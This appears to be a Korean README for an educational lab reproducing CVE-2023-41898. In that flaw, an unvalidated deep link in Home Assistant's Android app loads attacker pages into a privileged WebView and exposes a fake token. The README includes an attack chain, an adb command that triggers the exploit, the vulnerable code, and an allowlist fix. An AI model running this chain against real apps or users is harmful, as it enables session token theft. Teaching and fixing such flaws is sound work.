
CVE-2023-41898 살펴보기: Home Assistant Android에서 검증되지 않은 딥 링크를 악용하여 권한 있는 WebView에서 임의의 URL을 로드하고 가짜 토큰을 유출하는 방법.
Home Assistant Companion for Android의 공개 취약점 보고서(GHSL-2023-142)와 취약 버전 2023.8.2의 오픈소스 구조를 바탕으로 만든 교육용 축소 재현 Lab이다.
실제 Home Assistant 서버·계정·토큰은 사용하지 않는다. LAB_TOKEN_CVE_2023_41898_NOT_REAL이라는 고정된 가상 토큰만 노출한다.
2023.9.2 미만(공식 권고 기준)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ 검증 없이 JavaScript-enabled WebView.loadUrl()
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ 공격자 페이지에 externalApp JavaScript bridge 노출
▼
가상 LAB_TOKEN 표시
Android manifest의 intent-filter는 어떤 URI가 암시적 Intent와 매칭되는지를 정의할 뿐, 명시적으로 컴포넌트를 지정한 Intent의 data URI를 자동 검증하지 않는다.
victim/: 취약한 deep-link handler와 권한 있는 WebView를 재현한 앱attacker/: 피해 앱의 exported Activity에 명시적 Intent를 보내는 앱web/: 로컬에서 제공할 1·2단계 공격 페이지dist/: 검증 완료된 debug APKUPSTREAM.md: 원본 소스와 Lab 구현의 대응 관계요구 사항: JDK 17 이상, Android SDK 36, Gradle/Android Gradle Plugin 캐시 또는 인터넷 연결.
./gradlew :victim:assembleDebug :attacker:assembleDebug
허가받은 에뮬레이터 또는 테스트 기기에서만 실행한다.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Lab 루트에서 다음 명령을 실행한다.
python3 -m http.server 8000 --directory web
Android Studio 기본 에뮬레이터에서 10.0.2.2는 호스트 PC의 loopback을 가리킨다. 실제 테스트 기기를 쓴다면 web/exploit.html과 공격 앱의 URL을 PC의 LAN IP로 변경한다.
CVE-2023-41898 Victim과 CVE-2023-41898 Attacker 앱을 설치한다.homeassistant://navigate/ URL로 이동한다.LAB_TOKEN_CVE_2023_41898_NOT_REAL이 표시되는지 확인한다.ADB로 공격 앱 없이 첫 단계를 호출할 수도 있다.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
취약한 구현은 외부 URI를 그대로 로드한다.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
수정 시에는 파싱된 URI의 scheme, host, port, path를 엄격한 allowlist로 검증해야 한다. 문자열 startsWith 비교는 사용자정보([email protected]), 서브도메인 및 인코딩 우회 위험이 있으므로 사용하지 않는다.
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
추가로 WebView에서 불필요한 JavaScript와 JavascriptInterface를 제거하고, 모든 탐색과 리다이렉션에도 동일한 URL 검증을 적용해야 한다.
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2